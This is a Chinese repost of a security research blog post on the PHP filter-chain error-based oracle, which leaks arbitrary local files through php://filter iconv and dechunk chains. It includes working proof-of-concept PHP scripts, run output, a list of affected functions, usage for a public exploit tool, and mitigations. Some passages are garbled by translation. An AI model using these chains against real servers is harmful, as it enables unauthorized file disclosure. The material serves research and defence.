介绍 这种攻击方法最初是在DownUnder CTF 2022期间披露的。其中@hash_kitten创建了一个挑战,在该挑战中,玩家被要求使用以下Dockerfile和代码片段构建的基础设施泄露/flag文件。
FROM php:8.1-apache
RUN mv "$PHP_INI_DIR/php.ini-production" "$PHP_INI_DIR/php.ini"
COPY index.php /var/www/html/index.php
COPY flag /flag
index.php 文件内容
0]); file($_POST[
文件PHP函数读取文件,但不打印其内容,这意味着在Apache服务器的响应中将不会显示任何内容。
在 CTF 结束之前没有人解决这个挑战,之后它的解决方案与其他解决方案一起发布。Hash_kitten 基本上解释了该文件可能通过基于错误的预言机泄露。
这篇博文详细介绍了这次攻击中涉及的几个过滤器链技巧,以及来自原始文章的一些优化。还将讨论常见的易受攻击的模式和限制,因为 PHP 中受影响的函数数量比最初预期的要多。最后,开发了一个工具来自动化利用,其功能将在本文末尾详细介绍。
使用基于错误的 oracle 读取文件
正如我们在上一篇关于 PHP 过滤器链的博文php://filter
中看到的那样,包装器打开了意想不到的可能性,并允许几乎随心所欲地操作本地文件内容。
这次攻击的思路如下:
-
使用
iconv
编码以指数方式增加数据大小的过滤器会触发内存错误。 -
dechunk
根据前面的错误,使用过滤器确定文件的第一个字符。 -
再次使用
iconv
具有不同字节顺序的编码的过滤器,以将剩余字符与第一个字符交换。
超出最大文件大小
该iconv
函数允许设置传递给它的字符串的编码,也可以直接从php://filter
包装器中调用。某些编码会产生重复字节的效果。UNICODE
例如,和编码就是这种情况UCS-4
,它要求分别在两个和四个字节上定义字符。
php -r '$string = "START"; echo strlen($string)."n";
5
$ php -r '$string = "START"; echo strlen(iconv("UTF8", "UNICODE", $string))."n";'
12
$ php -r '$string = "START"; echo strlen(iconv("UTF8", "UCS-4", $string))."n";'
20
该字符串的START
长度为 5 个字节。如果以 编码UNICODE
,则乘以 2,再加上定义 BOM 的 2 个字节。对于我们来说,技巧是基于UCS-4
编码,它使用 4 个字节:
UCS-4 stands for "Universal Character Set coded in 4 octets." It is now treated sim-ply as a synonym for UTF-32, and is considered the canonical form for representation ofcharacters in 10646.
这些编码可以链接多次,以下输出显示了START
在两次调用UCS-4LE
.
必须注意的是,UCS-4LE
使用 代替UCS-4LE
将前导字符保留在链的开头。这个角色将是通过 oracle 泄露的角色。
memory_limit
在 PHP 中,资源限制由php.ini
. 根据文档,其默认值为 128MB。如果尝试读取大于此大小的文件,则会引发错误:
Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate XXXXXXXXXX bytes)
以下脚本将对UCS-4LE
字符串应用编码 13 次START
:
$string = "START";
for ($i = 1; $i <= 13; $i++) {
$string = iconv("UTF8", "UCS-4LE", $string);
}
正如我们所看到的,它足以溢出memory_limit
PHP 允许的范围。
$ php iconv.php
Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 83886144 bytes) in /tmp/iconv.php on line 6
泄漏文件的第一个字符
现在我们知道如何触发错误,让我们看看如何将其转换为基于错误的预言机。
去块过滤器
这个技巧使用了wrapperdechunk
中的方法,PHP 文档中没有详细说明,但其目的是处理分块传输编码。后者将数据分成 2 个以 CRLF 终止的行,第一个定义块长度。php://filter
5rn (chunk length)
Chunkrn (chunk data)
frn (chunk length)
(chunk data)
以下示例说明了此方法的有趣行为。
正如我们所见,当第一个字符是十六进制值 ( [0-9]
, [a-f]
, [A-F]
) 时,文件内容在通过过滤器时被丢弃dechunk
。这是因为如果十六进制长度后没有 CRLF,解析将失败。
因此,如果第一个字符是十六进制值,则输出为空,否则整个链不会发生变化,并会 memory_limit
触发错误,从而完成我们的oracle。
这两个技巧结合在以下文件中:
<?php
$size_bomb = "";
for ($i = 1; $i <= 13; $i++) {
$size_bomb .= "convert.iconv.UTF8.UCS-4|";
}
$filter = "php://filter/dechunk|$size_bomb/resource=/tmp/test";
echo file_get_contents($filter);
echo 'GSTART' > /tmp/test
php oracle.php
Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 117440512 bytes) in /tmp/oracle.php on line 10
$ echo 'aSTART' > /tmp/test
php oracle.php
检索前导字符值
现在可以确定前导字符何时为十六进制。然后我们需要一种确定性的方法来转换此范围内的任何字符。要减少来自 oracle 的可能值的数量,可以使用过滤convert.base64-encode
器。
检索 [ae] 个字符
让我们首先详细说明用于确定字符是否在[a-e]
或内的链[A-E]
。这将使在解释其他链之前遵循的逻辑更加清晰。
首先,让我们谈谈Katakana Host: extended SBCSCP930
codec,它是 X-IBM930或X-IBM930的别名。
正如我们在 上看到的X-IBM-930
,从a
到 的字符f
移动了一位。大写字母和数字也设置在与 ASCII 表不同的索引上,例如cX
和fX
,从而防止与其他 base64 编码值发生任何潜在冲突。
让我们看看这个编码的实际效果:
<?php
$guess_char = "";
for ($i=1; $i <= 7; $i++) {
$remove_junk_chars = "convert.quoted-printable-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-encode|";
$guess_char .= "convert.iconv.UTF8.UNICODE|convert.iconv.UNICODE.CP930|$remove_junk_chars";
$filter = "php://filter/$guess_char/resource=/tmp/test";
echo "IBM-930 conversions : ".$i;
echo ", First char value : ".file_get_contents($filter)[0]."n";
}
$ echo 'aSTART' > /tmp/test
$ php oracle.php
IBM-930 conversions : 1, First char value : b
IBM-930 conversions : 2, First char value : c
IBM-930 conversions : 3, First char value : d
IBM-930 conversions : 4, First char value : e
IBM-930 conversions : 5, First char value : f
IBM-930 conversions : 6, First char value : g
IBM-930 conversions : 7, First char value : h
$remove_junk_chars 子链用于从链中删除不可打印的字符,$guess_char 用于应用 X-IBM-930 编解码器。最后,为每个循环打印转换后的文件内容的第一个字符。正如我们所见,编解码器得到了正确应用:每次进行转换时,字符都会移动一位。
现在让我们看看添加基于错误的预言机时会发生什么:
<?php
$size_bomb = "";
for ($i = 1; $i <= 13; $i++) {
$size_bomb .= "convert.iconv.UTF8.UCS-4|";
}
$guess_char = "";
$index = 0;
for ($i=1; $i <= 6; $i++) {
$remove_junk_chars = "convert.quoted-printable-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-encode|";
$guess_char .= "convert.iconv.UTF8.UNICODE|convert.iconv.UNICODE.CP930|$remove_junk_chars";
$filter = "php://filter/$guess_char|dechunk|$size_bomb/resource=/tmp/test";
file_get_contents($filter);
echo "IBM-930 conversions : ".$i.", the first character is "."edcba"[$i-1]."n";
}
echo 'aSTART' > /tmp/test
php oracle.php
IBM-930 conversions : 1, the first character is e
IBM-930 conversions : 2, the first character is d
IBM-930 conversions : 3, the first character is c
IBM-930 conversions : 4, the first character is b
IBM-930 conversions : 5, the first character is a
Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 115036160 bytes) in /tmp/oracle.php on line 16
$ echo 'cSTART' > /tmp/test
php oracle.php
IBM-930 conversions : 1, the first character is e
IBM-930 conversions : 2, the first character is d
IBM-930 conversions : 3, the first character is c
Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 68288512 bytes) in /tmp/oracle.php on line 16
$ echo 'GSTART' > /tmp/test
php oracle.php
Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 75497472 bytes) in /tmp/oracle.php on line 16
正如我们所看到的,通过利用 oracle 可以精确地确定链的第一个字符是a
、b
、还是。c
d
e
通过将额外的过滤器组合到链中,这个技巧可以用于许多其他可能性$guess_char
。例如,字符n
, o
, p
,q
和r
可以通过添加过滤器以相同的方式泄漏string.rot13
:
<?php
$string = "START";
$size_bomb = "";
for ($i = 1; $i <= 13; $i++) {
$size_bomb .= "convert.iconv.UTF8.UCS-4|";
}
$guess_char = "";
$index = 0;
for ($i=1; $i <= 6; $i++) {
$remove_junk_chars = "convert.quoted-printable-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-encode|";
$guess_char .= "convert.iconv.UTF8.UNICODE|convert.iconv.UNICODE.CP930|$remove_junk_chars|";
$rot13filter = "string.rot13|";
$filter = "php://filter/$rot13filter$guess_char|dechunk|$size_bomb/resource=/tmp/test";
file_get_contents($filter);
echo "IBM-930 conversions : ".$i.", the first character is "."rqpon"[$i-1]."n";
}
echo 'nSTART' > /tmp/test
php oracle.php
IBM-930 conversions : 1, the first character is r
IBM-930 conversions : 2, the first character is q
IBM-930 conversions : 3, the first character is p
IBM-930 conversions : 4, the first character is o
IBM-930 conversions : 5, the first character is n
Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 115036160 bytes) in /tmp/oracle.php on line 17
$ echo 'rSTART' > /tmp/test
php oracle.php
IBM-930 conversions : 1, the first character is r
Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 81788928 bytes) in /tmp/oracle.php on line 17
$ echo 'GSTART' > /tmp/test
php oracle.php
Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 75497472 bytes) in /tmp/oracle.php on line 17
这是用于识别大多数字符的技巧的核心。
检索 [0-9] 个字符
用于识别数字的技巧很优雅:我们只需要对字符串进行第二次 base64 编码并重用之前的字母泄漏。
当数字引导链时,其 base64 编码值的第一个字符将始终是M
,N
或O
。
字符0
to3
将产生一个 leading M
, 4
to 7
a leadingN
和8
to 9
a leading O
。每个 base64 字符都可以表示为6 位的二进制值。相比之下,每个 ASCII 字符都表示为 8 位的二进制值。以下架构显示链如何0a
表示为 ASCII 和 base64。
正如我们所见,我们只需要确定前两个字符就可以检索到相应的数字。 我们已经知道如何确定第一个字符,并将在下一节中了解如何读取后续字符。
第一个字符将始终是M
,N
或O
,第二个字符将取决于数字后面的字符。对于给定的数字,只有后面字符的前四个字节才能确定第二个 base64 字符。此外,因为数字后面的字符已经是 base64 编码字符串的一部分,所以只可能出现六种可能性:
有趣的是,在某些情况下,“3”和“7”的 base64 编码产生的第二个字符后面可以跟数字。然而,由于它们不具有相同的主角,因此无论如何都可以将它们区分开来。最后,这是一张总结可能组合的表格:
通过使用额外的编码,以相同的方式检索其他字符。例如,Z 字符(在 ASCII 表中表示为 0x5A)被编码为 ! 在 IBM285 编解码器中。
当。。。的时候 !字符从IBM285编码为IBM280,其十六进制值变为0x4F
该值与ASCII 表中的
0x4F
字符匹配。O
最后,通过对它应用一个 rot13,我们得到过滤器B
可以使用它dechunk
来触发 oracle。
这样,我们可以确保泄漏的字符确实是Z
.
所有其他 base64 字符都基于遵循此逻辑的类似变体。所有这些都可以通过暴力破解来识别,但需要仔细检查以确保不会因编码转换错误而导致误报。
检索非前导字符
现在我们已经能够精确地确定字符串的第一个字符,让我们看看如何将攻击扩展到字符串中任何位置的字符。
交换字符
我们可以使用 Byte Order Memory 将字节 2×2 或 4×4 反转,如下例所示,其中前 4 个字节可以作为字符串的前导字符。
echo -n abcdefgh > /tmp/test
'echo file_get_contents("php://filter/convert.iconv.UTF16.UTF-16BE/resource=/tmp/test")."n";' php -r
badcfehg
'echo file_get_contents("php://filter/convert.iconv.UCS-4.UCS-4LE/resource=/tmp/test")."n";' php -r
dcbahgfe
'echo file_get_contents("php://filter/convert.iconv.UCS-4.UCS-4LE|convert.iconv.UTF16.UTF-16BE/resource=/tmp/test")."n";' php -r
cdabghef
现在问题来了:我们如何检索更远的字符?这部分是对原始 CTF writeup 的优化。这个想法是生成两个字节的数据,应用UCS-4LE
编码使其成为主元,最后删除之前添加的数据。
现在可以通过一个接一个地链接这些小工具来访问文件中的任何其他字符。
无效的多字节序列解释
如果你曾经玩过编码UCS-4
,你可能会猜到那里有问题!的确,UCS-4
只能操作大小正好是4的倍数的字符串。幸运的是,即使系统发出编码警告,文件的大小也已经被计算出来了,oracle无论如何都会触发。
为了说明这一点,让我们看看修改前一个脚本会发生什么。
<?php
$size_bomb = "";
for ($i = 1; $i <= 20; $i++) {
$size_bomb .= "convert.iconv.UTF8.UCS-4|";
}
$guess_char = "";
$index = 0;
for ($i=1; $i <= 6; $i++) {
$remove_junk_chars = "convert.quoted-printable-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-encode|";
$guess_char .= "convert.iconv.UTF8.UNICODE|convert.iconv.UNICODE.CP930|$remove_junk_chars";
$swap_bits = "convert.iconv.UTF16.UTF16|convert.iconv.UCS-4LE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UCS-4LE.UCS-4|";
$filter = "php://filter/$swap_bits$guess_char|dechunk|$size_bomb/resource=/tmp/test";
file_get_contents($filter);
echo "IBM-930 conversions : ".$i.", the fifth character is "."edcba"[$i-1]."n";
}
$ echo '1234a67' > /tmp/test
$ php oracle.php
Warning: file_get_contents(): iconv stream filter ("UCS-4LE"=>"UCS-4"): invalid multibyte sequence in /tmp/oracle.php on line 16
IBM-930 conversions : 1, the fifth character is e
Warning: file_get_contents(): iconv stream filter ("UCS-4LE"=>"UCS-4"): invalid multibyte sequence in /tmp/oracle.php on line 16
IBM-930 conversions : 2, the fifth character is d
Warning: file_get_contents(): iconv stream filter ("UCS-4LE"=>"UCS-4"): invalid multibyte sequence in /tmp/oracle.php on line 16
IBM-930 conversions : 3, the fifth character is c
Warning: file_get_contents(): iconv stream filter ("UCS-4LE"=>"UCS-4"): invalid multibyte sequence in /tmp/oracle.php on line 16
IBM-930 conversions : 4, the fifth character is b
Warning: file_get_contents(): iconv stream filter ("UCS-4LE"=>"UCS-4"): invalid multibyte sequence in /tmp/oracle.php on line 16
IBM-930 conversions : 5, the fifth character is a
Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 110796800 bytes) in /tmp/oracle.php on line 16
$ echo '1234d67' > /tmp/test
$ php oracle.php
Warning: file_get_contents(): iconv stream filter ("UCS-4LE"=>"UCS-4"): invalid multibyte sequence in /tmp/oracle.php on line 16
IBM-930 conversions : 1, the fifth character is e
Warning: file_get_contents(): iconv stream filter ("UCS-4LE"=>"UCS-4"): invalid multibyte sequence in /tmp/oracle.php on line 16
IBM-930 conversions : 2, the fifth character is d
Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 101711872 bytes) in /tmp/oracle.php on line 16
正如我们所见,虽然针对无效多字节序列的编码iconv
发出警告UCS-4LE
,但仍在应用过滤器,使字符串大小呈指数增长,从而触发内存大小耗尽错误。
然而,在这项研究中,我们遇到了一些将警告视为错误的框架,从而破坏了这种优化。在这种情况下,需要将字符串大小更正为 4 的倍数(对于 UCS-4)。
影响
现在攻击已经完成,让我们看看它可以用在哪里。通过参考PHP wrapper 文档,我们可以使用下表来确定哪些函数可能会受到影响。
“ php://filter, refer to the summary of the wrapper being filtered ”这句话一开始可能会让人感到困惑。包装php://filter
器可用于任何受支持的属性php://
。
基本上,这意味着只要对文件执行操作,例如读取、写入或附加内容,或者使用链接到该文件的流,我们就可以使用过滤器链并使用基于错误的oracle,如果我们控制传递给这些函数的参数。
受影响的功能
我们相信这个技巧可能比经典的 PHP 过滤器链更严重,即使它不会导致远程代码执行。事实上,在默认的PHP 文件系统列表中,83 个函数中有 15 个被证明受到影响。
受影响的常见 PHP 函数
以下是受影响的 PHP 函数的非详尽列表。如果要识别其他易受攻击的模式,主要思想是识别使用流或通过读取或修改文件与文件交互的函数。
沿着这个列表,其他模块的其他功能也可能受到影响。例如,exif 模块exif_imagetype
中的函数也可以通过这种方式进行利用。
请记住,只要对文件内容执行了操作,该功能就可能会受到包装器的影响php://filter
。
缓解问题
虽然这个问题乍一看似乎很可怕,但有几个限制可能会降低其利用的普遍性。
文件存在控制
正如我们所见,只有尝试读取、写入或附加数据的函数才与php://filter
包装器兼容。一旦输入字符串被file_exists
or等函数控制is_file
,该漏洞将无法利用,因为它们都是stats
内部调用,不支持包装器。
$ echo "START" > /tmp/test
$ php -r 'var_dump(is_file("/tmp/test"));'
bool(true)
$ php -r 'var_dump(is_file("php://filter/dechunk/resource=/tmp/test"));'
bool(false)
$ php -r 'var_dump(file_exists("/tmp/test"));'
bool(true)
$ php -r 'var_dump(file_exists("php://filter/dechunk/resource=/tmp/test"));'
bool(false)
因此,即使该技巧影响了大量功能,由于路径在大多数情况下都被开发人员妥善处理,通过确保文件实际存在于本地系统中,可以降低利用概率。
有效载荷的大小
上次我们谈到过滤器链时,我们说过“如果负载太大,标头或 URL 中的大小限制可能会有问题。 ”,但是对于小过滤器链的字符数仍然是合理的。
这一次,有效载荷大小会变得更大。由于我们将需要越来越多的过滤器来泄漏文件的最后一个字符,因此链的大小将很快超过 GET 或标头的最大大小,从而使其无法通过这些用户输入实现。这就是为什么这个技巧在封装在 HTTP PUT 或 POST 请求的嵌入式参数中时更合理。
最后,还应注意,必须发出许多请求才能提取文件的全部内容。为了说明这一点,一个 746 个字符长的文件的完整泄漏将需要大约 14k 个请求,而最新的有效载荷约为 50KB。
在我们的研究过程中,我们使用 GET 请求成功地泄露了文件的 135 个前导字符,这在许多情况下仍然有用。
自动化流程的工具
我们开发了一个基于@hash_kitten https://github.com/DownUnderCTF/Challenges_2022_Public/blob/main/web/minimal-php/solve/solution.py 的工具,以及这篇博文中提到的额外技巧和优化。它可以在我们的 GitHub 存储库https://github.com/synacktiv/php_filter_chains_oracle_exploit上找到。
演示
该工具当前允许选择一个目标、用于注入的 POST 参数以及一个代理(如果您想查看请求)
$ python3 filters_chain_oracle_exploit.py --help
usage: filters_chain_oracle_exploit.py [-h] --target TARGET --file FILE --parameter PARAMETER [--data DATA] [--headers HEADERS] [--verb VERB] [--proxy PROXY]
[ ] [--delay DELAY]
Oracle error based file leaker based on PHP filters.
Author of the tool : @_remsio_
Trick firstly discovered by : @hash_kitten
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
$ python3 filters_chain_oracle_exploit.py --target http://127.0.0.1 --file '/test' --parameter 0
[is targeted : http://127.0.0.1 ] The following URL
[is leaked : /test ] The following local file
[ ] Running POST requests
[is finished! ] File /test leak
b'SGVsbG8gZnJvbSBTeW5hY2t0aXYncyBibG9ncG9zdCEK'
b"Hello from Synacktiv's blogpost!n"
optional arguments:
-h, --help show this help message and exit
--target TARGET URL on which you want to run the exploit.
--file FILE Path to the file you want to leak.
--parameter PARAMETER
Parameter to exploit.
--data DATA Additionnal data that might be required. (ex : {"string":"value"})
--headers HEADERS Headers used by the request. (ex : {"Authorization":"Bearer [TOKEN]"})
--verb VERB HTTP verb to use POST(default),GET(~ 135 chars by default),PUT,DELETE
--proxy PROXY Proxy you would like to use to run the exploit. (ex : http://127.0.0.1:8080)
--time_based_attack TIME_BASED_ATTACK
Exploits the oracle as a time base attack, can be improved. (ex : True)
--delay DELAY Set the delay in second between each request. (ex : 1, 0.1)
以下Dockerfile
文件index.php
将用于此概念证明(这是对前面讨论的 DownUnderCTF 挑战的改编)。
FROM php:8.1-apache
RUN mv "$PHP_INI_DIR/php.ini-production" "$PHP_INI_DIR/php.ini"
COPY index.php /var/www/html/index.php
COPY test /test
sha1_file($_POST[0]);
正如我们所见,sha1_file
在正常使用中甚至不能返回文件真实内容的函数被使用并允许我们获取文件的内容 /test
。
还有其他模式允许基于服务器的响应延迟进行攻击,或者在每个请求之间设置延迟以潜在地绕过某些保护。
可以添加许多其他功能来增强它,我们将尝试一点一点地添加它们。随意贡献:)
结论
PHP 过滤器代表一把真正的瑞士军刀,因为它们有多种用途!从允许在传递给包含函数时执行代码的工具到能够泄漏本地文件的基于错误的 oracle,正如我们在这篇博文中看到的那样,这要归功于 的@hash_kitten
原创想法。
受此问题影响的范围可能更大,因为有数十个 PHP 函数受到影响。话虽这么说,它的利用可能会受到在提交的路径中使用不受支持的函数(例如file_exists
或 )的限制is_file
。在大多数情况下,开发人员自己也会对路径进行适当的清理。
但是,我们认为php://filter
应该受到 PHP 的更多限制,例如限制单个链中过滤器的数量。这种新的利用仅证实了此包装器的存在可能代表安全问题。因此,除了已经在进行的讨论之外,我们还联系了 PHP,希望将来能提供一些限制。
参考
[PHP-FILTERS-DECHUNK-SOURCE-CODE] https://github.com/php/php-src/blob/PHP-8.1.16/ext/standard/filters.c#L…
[HASH_KITTEN-DOWNUNDERCTF-MINIMAL-PHP] https://github.com/DownUnderCTF/Challenges_2022_Public/tree/main/web/mi…
[HASH_KITTEN-DOWNUNDERCTF-MINIMAL-PHP-WRITEUP] https://github.com/DownUnderCTF/Challenges_2022_Public/blob/main/web/mi…
[SYNACKTIV-PHP-FILTER-CHAINS-BLOGPOST] https://www.synacktiv.com/en/publications/php-filters-chain-what-is-it-…
[UNICODE-DOCUMENTATION-UCS-4] http://www.unicode.org/versions/Unicode8.0.0/appC.pdf
[CHUNCKED-TRANSFER-EXPLANATION] https://en.wikipedia.org/wiki/Chunked_transfer_encoding#Encoded_data
[X-IBM930-CODEC] https://www.fileformat.info/info/charset/x-IBM930/encode.htm
[IBM280-CODEC] https://www.fileformat.info/info/charset/IBM280/encode.htm
[IBM285-CODEC] https://www.fileformat.info/info/charset/IBM285/encode.html
[PHP-STAT-DOC] https://www.php.net/manual/en/function.stat.php
[WIKIPEDIA-BASE64-TABLE] https://en.wikipedia.org/wiki/Base64
[PHP-FILESYSTEM-FUNCTIONS] https://www.php.net/manual/en/ref.filesystem.php
[PHP-EXIF-MODULE] https://www.php.net/manual/en/intro.exif.php
[GITHUB-PHP-PATCH-DISCUSSION] https://github.com/php/php-src/issues/10453
[GITHUB-SYNACKTIV-PHP-FILTERS-CHAIN-ORACLE] https://github.com/synacktiv/php_filter_chains_oracle_exploit
原文始发于微信公众号(红队笔记录):PHP过滤器链:基于错误的Oracle文件读取
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论